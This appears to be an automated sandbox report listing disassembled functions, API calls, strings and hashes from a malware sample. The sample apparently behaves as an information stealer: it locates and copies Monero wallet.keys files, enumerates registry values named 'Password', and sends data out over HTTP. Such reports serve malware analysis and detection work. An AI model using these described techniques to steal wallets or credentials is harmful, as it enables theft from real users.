Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,02F31478,00000000,?,02F11C80,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
RtlAllocateHeap.NTDLL(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

------, xrefs: 004052EF
------, xrefs: 00404F4B
", xrefs: 00405136
------, xrefs: 004051AD
--, xrefs: 00404F34
------, xrefs: 0040506B
", xrefs: 004053BA
", xrefs: 00405278
J&f, xrefs: 00405029

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$J&f
API String ID: 1133489818-3705675087
Opcode ID: edd334dccea3e08b82ed4224b27d99465187b98944812ea464d339a48d5486ca
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: edd334dccea3e08b82ed4224b27d99465187b98944812ea464d339a48d5486ca
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 47.7, APIs: 19, Strings: 8, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,02F313A8), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,02F366B0,00000000,?,02F11C80,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,02F313D8,?,02F35BC8,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

", xrefs: 00405985
------, xrefs: 004058BB
------, xrefs: 00405746
-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27
-A, xrefs: 00405620, 00405D27, 00405623
J&f, xrefs: 00405878
------, xrefs: 004059FC
", xrefs: 00405AC6

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A$J&f
API String ID: 148854478-1022722094
Opcode ID: d183e2da90d322438d6a5414036c44a14088c690dff425e9411423a3fc4c8f0f
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: d183e2da90d322438d6a5414036c44a14088c690dff425e9411423a3fc4c8f0f
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F31618,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: b3a25b78fb1194fcf23225a738747f2cb614bf9759d4b478dc5dcf7ed04626c0
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: b3a25b78fb1194fcf23225a738747f2cb614bf9759d4b478dc5dcf7ed04626c0
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F11B90,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F31618,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 4ad852c404f9f3120fd7b79df3c21d92936ee570c91f36381f841401b37ec85e
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: 4ad852c404f9f3120fd7b79df3c21d92936ee570c91f36381f841401b37ec85e
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,02F313A8), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,02F313F8), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,02F313D8,?,02F35BC8,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

", xrefs: 004048B2
------, xrefs: 004047E8
------, xrefs: 0040467D
------, xrefs: 00404929
J&f, xrefs: 004047A5
", xrefs: 004049F3

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$J&f
API String ID: 460715078-2398766951
Opcode ID: 2e177f3146a0f0f7326f94d04a2f02870fc1b510867868a769f02f864438e874
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: 2e177f3146a0f0f7326f94d04a2f02870fc1b510867868a769f02f864438e874
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,02F32968,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

- , xrefs: 00414D40
?, xrefs: 00414B17
%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a7070e6094d83b6e04e5ba5aa728b042f8cb9237179db71be300b5640fcf5107
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: a7070e6094d83b6e04e5ba5aa728b042f8cb9237179db71be300b5640fcf5107
Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F31618,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: d7201243c2d8de0c29954ead88658f93e0cf2693b83a50781e79e2612bc8f324
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: d7201243c2d8de0c29954ead88658f93e0cf2693b83a50781e79e2612bc8f324
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F11B90,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9

Strings

\Monero\wallet.keys, xrefs: 0040134D
wallet_path, xrefs: 004012F0
SOFTWARE\monero-project\monero-core, xrefs: 004012F5
.keys, xrefs: 0040132B

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$ChangeCopyCreateDeleteFindFreeInternetNotificationProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2054947926-218353709
Opcode ID: 2e0247a9437d24469caac82ab5f8ca0edfee8fa283c959d775df43d335aad76e
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: 2e0247a9437d24469caac82ab5f8ca0edfee8fa283c959d775df43d335aad76e
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(356DB020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(356DB020,00000000), ref: 00407018
lstrcat.KERNEL32(356DB020, : ), ref: 0040702A
lstrcat.KERNEL32(356DB020,00000000), ref: 0040705F
lstrcat.KERNEL32(356DB020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(356DB020,00000000), ref: 004070A3
lstrcat.KERNEL32(356DB020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

h0A, xrefs: 00406FA6, 00406FA9
`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2
: , xrefs: 0040701E

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: bca8c3ef7d98190c30dfc284d175f9c39e9f130e707e0d9526892301a8a28ee2
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: bca8c3ef7d98190c30dfc284d175f9c39e9f130e707e0d9526892301a8a28ee2
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

